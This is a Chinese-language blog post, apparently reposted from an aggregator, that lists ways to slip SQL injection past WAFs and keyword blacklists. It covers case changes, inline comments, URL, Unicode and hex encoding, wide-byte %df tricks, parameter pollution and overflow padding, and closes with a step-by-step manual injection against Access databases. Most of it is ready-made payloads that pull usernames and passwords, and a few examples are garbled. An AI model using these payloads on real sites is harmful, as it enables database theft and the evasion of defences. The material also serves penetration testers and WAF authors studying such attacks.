SQL注入绕过总结

Posted LIFE快乐

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入绕过总结相关的知识,希望对你有一定的参考价值。

SQL注入绕过

一:更改SQL语句的大小写进行绕过

通过修改注入语句中字母的大小写,如果使用区分大小写的黑名单,更改大小写可能会帮我们成功绕过。

例如:

SQLsEleCt vERsIoN();

二:关键字替换

在关键字中间可插入将会被WAF过滤的字符,如select可变为sel<ect,字符被过滤,将会变成select。关键词过滤使用关键词黑名单来保护WEB程序免受攻击。

(1)绕过关键词,andor

关键词and,or常被用做简单测试网站是否容易进行注入攻击。使用||and替换orand

过滤注入:            1 or 1 = 1    1 and 1 = 1

绕过注入:            1 || 1 = 1    1 && 1 = 1

(2)关键字union绕过

关键词union通常被用来构造一个恶意的语句以从数据库中获取更多数据。

过滤注入:            union  select  user, password  from  users

绕过注入:            1 || select  user  from  users  where  user_id = 1=admin

(3)关键字where绕过

php过滤代码:        preg_match(/(and|or|union|where)/I,$id)

过滤注入:             1||select  user  from  users  where  user_id = 1= admin

绕过注入:            1||( select  user  from  users  limit  1)=admin

(4)关键词过滤:and,or,union,where,limit

PHP过滤代码:        preg_match(/(and|or|union|where|limit)/I,$id)

过滤注入:            1||select  user  from  users  limit  1=admin

绕过注入:         1||select  user  from  users  group by user_id having user_id=1 = admin

5)关键词过滤:and,or,union,where,limit,group by

PHP过滤代码:        preg_match(/(and|or|union|where|limit|group by)/I,$id)

过滤注入:            1||select  user  from  users  group  by  user_id  having  user_id  =1=admin

绕过注入:          1||select  substr(group_concat(user_id),1,1) user  from  users  )=1

6)关键词过滤:and,or,union,where,limit,group by,select,

PHP过滤代码:       preg_match(/(and|or|union|where|limit|group by|select|\)/I,$id

过滤注入:            1||select substr(group_concat(usr_id),1,1)user from users =1

绕过注入:            1|| user_id is not null

绕过注入:            1||substr(user,1,1)=0×61

绕过注入:            1||substr(user,1,1)=unhex(61)

7)关键词过滤: and,or,union,where,limit,goup by,select,,hex,

PHP过滤代码:        preg_match(/(and|or|union|where|limit|group by|select|\|hex)/I,$id)

过滤注入:            1||substr(user,1,1)=unhex(61)

绕过注入:            1||substr(user,1,1)=lower(conv(11,10,36))

8)关键词过滤:and,or,union,where,limit,group by,select,,hex,substr

PHP过滤代码:        preg_match(/(and|or|union|where|limit|group by|select|\|hex|substr)/I,$id)

过滤注入:            1||substr(user,1,1)=lower(conv(11,10,36))

绕过注入:            1||lpad(user,7,1)

9)关键词过滤:          and,or,union,where,limit,group by,select,,hex,substr,white space

PHP过滤代码:        preg_match(/(and|or|union|where|limit|group by|select|\|hex|substr|\s)/I,$id)

过滤注入:            1||lpad(user,7,1)

绕过注入:            1%0b||%0blpad(user,7,1)

(10)SQL关键词被过滤掉并且被替换成空格。因此我们用“%0b”来绕过

三:编码

注入语句进行编码,url encodehex encodeUnicode encode等。

如个人URL编码只进行了一次过滤,可以用两次编码绕过。

(1)URL编码是在字符ASCII码的十六进制数的前面加上%,如空格变为%20、单引号%27、左括号%28、右括号%29

(2)Unicode编码

常用的几个符号的一些Unicode编码:

单引号:  %u0027%u02b9%u02bc%u02c8%u2032%uff07%c0%27%c0%a7%e0%80%a7

空格:%u0020%uff00%c0%20%c0%a0%e0%80%a0

左括号:%u0028%uff08%c0%28%c0%a8%e0%80%a8

右括号:%u0029%uff09%c0%29%c0%a9%e0%80%a9

(3)十六进制编码

可对单个字符进行编码,或者整个语句进行编码

四:使用注释符

在攻击字符串中插入注释。WAF可能就会忽略该字符串,但它仍会被传递给目标应用程序并交由数据库处理。

1. 常见的注释符号

//, -- , /**/, #, --+,--  -, ;--a%00

2. 普通注释

例如:

z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4

'union%a0select pass from users#

/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#--+用于终结语句的查询

3. 内联注释

相比普通注释,内联注释用的更多,它有一个特性/!**/只有mysql能识别

采用/*! code */来执行我们的SQL语句。内联注释可以用于整个SQL语句中。

例如:如果过滤器过滤了union,where, table_name, table_schema, =, and information_schema

利用内联注释进行如下方式绕过:

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*!information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -

4. 数据库的注释:

(1)Oracle

--:单行注释

/* */:多行注释

(2)ms sql server

--:单行注释

/* */:多行注释

(3)Mysql

#:单行注释

--:单行注释(--后面有空格,--[空格]

/* */:多行注释

五:等价函数绕过

某些函数或命令,因为WAF的过滤机制导致我们无法使用。我们可以尝试用一些等价函数来替代它们。

hex()bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

例如:substring()substr()无法使用时:

?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

或者:substr((select 'password'),1,1) = 0x70

strcmp(left('password',1), 0x69) = 1

  strcmp(left('password',1), 0x70) = 0

strcmp(left('password',1), 0x71) = -1

六:使用特殊符号

(1)产业特殊字符:‘’,``+-@~%%00

(2)例如

1.使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

2.神奇的"-+."select+id-1+1.from users; +”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤

3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量

4.Mysql function() as xxx  也可不用as和空格   select-count(id)test from users;  //绕过空格限制

5.关键字拆分

`se+lec+t

%S%E%L%E%C%T 1

七:HTTP参数控制

通过提供多个参数=相同名称的值集来混淆WAF

1HTTP参数污染(HPP,HTTP Parameter Polution

HPP又称做重复参数污染,最简单的就是?id=1&id=2&id=3,不同的Web服务器处理方式如下:

(2)HPF (HTTP Parameter Fragment)HTTP分割注入

这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a%0d等执行换行)

(3)HPC (HTTP Parameter Contamination)

RFC2396定义了以下字符:

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()

Reserved : ; / ? : @ & = + $ ,

Unwise : { } | \ ^ [ ] `

不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:

 

八:空字节

因为在原生编程语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。只需要在过滤器阻止的字符串前面提供一个采用URL编码的空字节即可。

九:缓冲区溢出

WAF和其他所有的应用程序一样也存在着各种缺陷和漏洞。如果出现缓冲区溢出的情况,那么WAF可能就会崩溃,WAF的安全防护自然也就被瓦解了。

WAF在处理测试向量时超出了其缓冲区长度就会引发bug,从而实现绕过。

例如:

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(), 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

0xA*10000xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。

十:整合绕过

使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。

1. 绕过空格

1)使用注释符/**/%a0=空格,两个空格代替一个空格,tab代替空格

2)括号绕过空格

如果空格被过滤,括号没有被过滤,可以用括号绕过。

MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

select(user())from dual where(1=1)and(2=2)

2. 引号绕过(使用十六进制)

会使用到引号的地方一般是在最后的where子句中。使用16进制代替引号的内容

如:

注入语句:select column_name  from information_schema.tables where table_name="users"

绕过语句:

select column_name from information_schema.tables where table_name=0x7573657273

3. 逗号绕过(使用from或者offset

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。

1substr()mid()绕过使用from for

绕过语句:

select substr(database() from 1 for 1);

select mid(database() from 1 for 1);

2)使用join

union select 1,2     #等价于

union select * from (select 1)a join (select 2)b

3)使用like

select ascii(mid(user(),1,1))=80   #等价于

select user() like 'r%'

4limit可以使用offset来绕过

select * from news limit 0,1

# 等价于下面这条SQL语句

select * from news limit 1 offset 0

4. 比较符号(<>)绕过(过滤了<>sqlmap盲注经常使用<>,使用between的脚本)

(1)使用greatest()least():(前者返回最大值,后者返回最小值)

在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。

2)使用between and

  between a and b:返回ab之间的数据,不包含b

5. or and xor not绕过:

And=&&

Or=||

Xor=|

Not=!

6. =绕过

 使用like rlike regexp 或者 使用< 或者 >

7. 绕过unionselectwhere

1)使用注释符绕过:

常用注释符:

//-- , /**/, #, --+, -- -, ;,%00,--a

U/**/ NION /**/ SE/**/ LECT /**/userpwd from user

2)使用大小写绕过:

id=-1'UnIoN/**/SeLeCT

3)内联注释绕过:

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):

id=-1'UNIunionONSeLselectECT1,2,3-

8. 宽字节注入

过滤 ' 的时候往往利用的思路是将 ' 转换为 \'

mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

1%df 吃掉 \ 具体的方法是 urlencode('\) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:

id=-1%df%27union select 1,user(),3--+

(2) \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

 

 

Access数据库注入

一:手工注入思路

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

二:access数据库结构

 

     

         单元数据

三:手工注入

1.判断是否存在注入点

    页面错误

And 1=1    页面正确

And 1=2页面错误

2. 猜字段长度

Order by number

order by number是指对sql语句中带入查询的表中的number个列进行排序,如果number小于表中的列数,那肯定是可以排序成功的,如果number超过了表中的列数,就会出错。所以number<=表中列数的时候页面正常(因为它能正常执行排序操作);如果number>列数,那么就会报错。由此,我们可以得到sql语句中代入查询的那个表的列数。

3.猜解表名

1And exists(select * from 表名)  存在返回正常

2Union select * from 表名    存在返回正常

3)构造猜表名的语句 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 表名,爆出显位(能够显示数据的位置,22是表的字段数)

4.猜解列名

Ans exists(select 列名 from 表名)  存在页面返回正常

union select1,2,显位,4,5,6,7,8,9,10,11,12,13,14,显位,16,17,18,19,20,21,22 from 表名(显位是猜的列名,可以爆出数据)

5.拆解字段内容

1)拆解字段长度

And (select top 1 len(列名) from 表名)>n

若页面正常显示,则字段长度大于n

2)拆解内容

And (select top 1 asc(mid(列名,1,1)) from 表名)>c

若页面正常显示,则第一条记录的第一个字符的ASCII码大于c

 


以上是关于SQL注入绕过总结的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入绕过waf的方法总结

黑客常用SQL注入绕过技术总结!

sql 注入绕过技术研究总结

SQL注入绕过技巧汇总

sql注入总结

sql工具和手工注入总结